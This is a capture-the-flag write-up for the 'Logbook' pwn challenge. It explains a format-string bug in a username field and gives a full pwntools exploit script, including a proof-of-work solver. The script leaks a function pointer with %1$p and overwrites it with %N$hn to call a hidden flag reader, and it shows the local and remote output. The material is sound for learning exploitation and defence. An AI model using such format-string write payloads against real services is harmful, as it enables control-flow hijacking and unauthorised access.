Logbook

A simple internal note & report management tool. Looks harmless — until you notice your own username showing up somewhere it really shouldn’t

Connections

  • 34.87.191.188:9003

Attachments

Recon

The handout (logbook.zip) unpacks to a stripped x86-64 logbook ELF, a glibc 2.39 libc.so.6 with its matching ld-linux-x86-64.so.2 loader, and a 49-byte flag.txt that holds a placeholder token for local testing. The service at 34.87.191.188:9003 gates every connection behind a sha256 proof-of-work (a small computational puzzle, there to rate scripted abuse), then serves a four-entry menu under a 30-second alarm and a limit of 20 actions per connection. The challenge description points at the username, so that input is the one to test first.

Meeting the service

A fresh connection answers with the proof-of-work before anything else. We read the greeting without solving it, to see the exact ask:

$ python - <<'EOF'
from pwn import *
context.log_level = "error"
t = remote("34.87.191.188", 9003)
print(t.recv(timeout=8).decode())
t.close()
EOF
== proof-of-work ==
Find X (ASCII, <=48 bytes, no whitespace) such that
sha256('319f218c9fcc93c2' + X) starts with '00000'
X =

The hash needs five leading zeros, a 20-bit search, around a million sha256 calls and a few seconds of Python. The salt is different on every connection, so the answer cannot be reused.

The local copy runs through the shipped loader so it uses the shipped glibc:

$ ./ld-linux-x86-64.so.2 --library-path . ./logbook
Welcome to LogBook - internal note & report tool.
========= LogBook v1.0 =========
1. Set username
2. Add note
3. Generate report
4. Exit
>

Feeding it a bogus choice answers [!] Invalid choice. and reprints the menu, so choices are read as text and converted, with unknown values falling through. Next, the usual protections check:

$ checksec --file=logbook
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'/chal'
    SHSTK:      Enabled
    IBT:        Enabled

Everything is on. That only tells us what kind of target to look for, so we went back to the service before opening a disassembler.

Poking the two input paths

Actions 1 and 2 look identical from the menu, each reads a line and prints a confirmation. The description singles out the username, so we tested which of the two inputs reaches the report. We set the username to USER_X, saved the note HELLO_TEST, asked for a report, then set the username to a bundle of positional specifiers and asked again (menu reprints between actions trimmed, piped input is not echoed):

> Enter username: [*] Username updated.
> Enter note: [*] Note saved.
> [LOG] USER_X
[*] Report generated successfully.
> Enter username: [*] Username updated.
> [LOG] 0xffff7ff99010 (nil) 0xffff77dffc31 0x1999999999999999 (nil) 0xffff7ff99010 0x6fbd64b08ee6c00 0xffff77dffc50
[*] Report generated successfully.

Three facts fall out of this one session. The report line contains the username, and the note never appears anywhere, so the note buffer is written once and then ignored while the username is the text that gets formatted. The %N$p values came back as pointers, which means our username is being handed to a printf-family function as the format argument, the classic format string bug where user bytes become the template and specifiers read the function’s other arguments. And among the leaks, the first and sixth values are the same pointer ending in 0x010, while the seventh ends in 00, the shape of a glibc stack canary (canaries carry a zero low byte so string routines stop before leaking them).

So argument #1 of that formatting call is a pointer that arrives in a register and also sits in the first stack slot after the register arguments, with something canary-shaped right behind it. The disassembler had to tell us what that pointer actually is.

What the report handler does with the username

The binary is stripped, so we mapped the structure with radare2. The writable data segment lays out like this:

PIE offset Contents
0x4010 global function pointer, initialized to PIE+0x12e9
0x4020, 0x4030 pointers to stdout and stdin
0x4040 64-byte username buffer (fgets cap of 0x40, newline stripped)
0x4080 32-bit action counter, the loop stops once it passes 19

The report handler is where everything converges:

// decompiled report handler at PIE+0x1626
fcn_13f0(&username_0x4040, &fnptr_0x4010);   // rdi = username buffer, rsi = &fnptr
rax = *(int64_t *)0x4010;
rax();                                        // indirect call through the global pointer

The pointer at 0x4010 normally holds PIE+0x12e9, a stub that prints [*] Report generated successfully., which matches the line we observed after every report. The handler calls through that pointer immediately after formatting, in the same action.

The formatting helper at PIE+0x13f0 builds its argument list by hand:

// decompiled helper at PIE+0x13f0
gp_offset = 8;                 // skip RDI: the first variadic argument is RSI
fp_offset = 0x30;
overflow_arg_area = caller_stack;
reg_save_area = saved_regs;
vsnprintf(stack_buf, 0x100, username, va_list);
printf("[LOG] %s\n", stack_buf);

On x86-64 System V, integer and pointer arguments travel in RDI, RSI, RDX, RCX, R8, R9 and then on the stack, and a va_list is the small structure that walks those slots, where gp_offset counts how many bytes of the saved-register block are already consumed. Setting gp_offset = 8 skips one register slot, so the first variadic argument fetched is RSI. The helper is not even variadic; it fabricates this structure so vsnprintf sees the caller’s RSI as specifier argument #1, and the caller put &fnptr there. That is the pointer our probe saw twice, ending in 0x010, once in the register and once spilled to the stack. It also means %1$p leaks the address of the function pointer and %1$n writes through it, aimed at the exact global the handler calls.

Two more facts from the binary decide the payload. The imports contain plain vsnprintf, not the __vsnprintf_chk variant, so the binary was built without _FORTIFY_SOURCE and glibc’s %n in writable segment abort never triggers. And vsnprintf keeps counting characters past its 0x100 truncation cap, so a huge field width is free even though the stored [LOG] line only ever holds 256 bytes.

The last piece sits at PIE+0x132a, a function no menu item ever reaches:

// decompiled function at PIE+0x132a
FILE *f = fopen("flag.txt", "r");
if (!f) { puts("[!] flag.txt not found on server."); return; }
fgets(buf, 0x100, f);
fputs(buf, stdout);

If the global pointer ever equals PIE+0x132a, the next report prints the flag, because the indirect call happens in the same action, right after the vsnprintf that can perform the write.

Why the protections do not help

Each checksec line defends something this plan never touches. PIE randomizes the load base, but %1$p hands us &fnptr; subtracting 0x4010 yields the base, and the result landing on a page boundary (low 12 bits zero) is a free sanity check on the leak. Full RELRO makes the GOT (the global offset table, where calls like fopen reach libc) read-only, but the function pointer is an ordinary writable global in .data, which RELRO does not cover. The canary protects saved return addresses, and a %n write aimed at a global never goes near the stack. NX blocks executing injected code, and we only redirect to code that already exists.

We also rejected the faster shortcut. Without a leak, a blind %hn over the pointer’s low half still needs bits 12 to 15 of the base, which are random per run, so one connection in sixteen would hit, a miss jumps into unmapped or mid-instruction memory and drops the connection, and every retry pays a fresh proof-of-work. The leak costs two actions out of our budget of twenty and turns the write exact, so we took it.

Exploitation

The exploit script

The chain is four actions: set the username to %1$p and report to leak &fnptr, then set the username to %<N>c%1$hn and report to perform the write and the redirected call in one step. N is computed from the leak as (base + 0x132a) & 0xffff, and %<N>c prints one character padded with spaces to a width of N, so N characters have been counted when %hn fires. %hn takes its target address from specifier argument #1, which is &fnptr, and stores N there as a two-byte short. Only the low half needs replacing, because the pointer already holds the right base in its upper bytes, holding base + 0x12e9 before the write and base + 0x132a after.

#!/usr/bin/env python3
import hashlib, itertools, os, re, sys
from pwn import *
context.log_level = "warn"
WIN_OFF, FNPTR_OFF = 0x132A, 0x4010

def solve_pow(t):
    block = t.recvuntil(b"X = ").decode()
    salt = re.search(r"sha256\('([^']+)'\s*\+\s*X\)", block).group(1)
    print(f"[pow] salt = {salt!r}")
    for i in itertools.count():
        x = f"{i}".encode()
        if hashlib.sha256(salt.encode() + x).hexdigest().startswith("00000"):
            print(f"[pow] solved with X = {x!r}")
            t.sendline(x); return

def username(t, payload):
    t.recvuntil(b"> "); t.sendline(b"1")
    t.recvuntil(b": "); t.sendline(payload)

def report(t):
    t.recvuntil(b"> "); t.sendline(b"3")

def solve():
    if len(sys.argv) > 1 and sys.argv[1] == "local":
        chal = os.path.abspath("chal")
        t = process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./logbook"], cwd=chal)
    else:
        t = remote("34.87.191.188", 9003)
        solve_pow(t)

    username(t, b"%1$p"); report(t)              # stage 1: leak &fnptr
    t.recvuntil(b"[LOG] ")
    leak = int(t.recvuntil(b"\n", drop=True), 16)
    pie = leak - FNPTR_OFF
    print(f"[+] &fnptr = {leak:#x}  ->  PIE base = {pie:#x}")
    assert pie & 0xFFF == 0, "bad leak"

    n = (pie + WIN_OFF) & 0xFFFF                 # low 16 bits of win()
    payload = f"%{n}c%1$hn".encode()
    assert len(payload) <= 63
    print(f"[+] win = {pie + WIN_OFF:#x}   payload = {payload!r}")
    username(t, payload); report(t)              # stage 2: %hn write, then call [0x4010]
    t.recvuntil(b"[LOG] ")
    out = t.recvall(timeout=10)
    print("[FLAG]", re.search(rb"NVR\{[^}]*\}", out).group(0).decode())

solve()

Verifying locally first

We ran the local mode first, which pays no proof-of-work, and the shipped flag.txt made the round trip visible without touching the remote:

$ python exploit.py local
[+] &fnptr = 0xffff9959d010  ->  PIE base = 0xffff99599000
[+] win = 0xffff9959a32a   payload = b'%41770c%1$hn'
[FLAG] NVR{this_is_a_dummy_flag_for_local_testing_only}

Between the payload line and the flag, the run prints the [LOG] line padded out to the full requested width, then the redirected call prints the placeholder from flag.txt. The width here is 41770 (0xa32a) because N encodes bits 12 to 15 of this run’s base along with the fixed offset, so it changes with every ASLR layout. The payload %41770c%1$hn is 13 bytes, well inside the 63-byte fgets cap, and the low half of the pointer went from 0xa2e9 (the tail of base + 0x12e9) to 0xa32a (the tail of base + 0x132a).

With the chain proven locally, the same script against the remote solves the fresh proof-of-work, leaks, computes a new width for the new base, writes, and the redirected call prints the real flag before the menu reprints. We repeated it on a second connection with a different salt and base and the same formula worked again.

Flag capture

$ python exploit.py
[pow] salt = '043feccce5fa8614'
[pow] solved with X = b'43299'
[+] &fnptr = 0x55f3b8856010  ->  PIE base = 0x55f3b8852000
[+] win = 0x55f3b885332a   payload = b'%13098c%1$hn'
[FLAG] NVR{r3p0rt_cb_r3d1r3ct3d_success}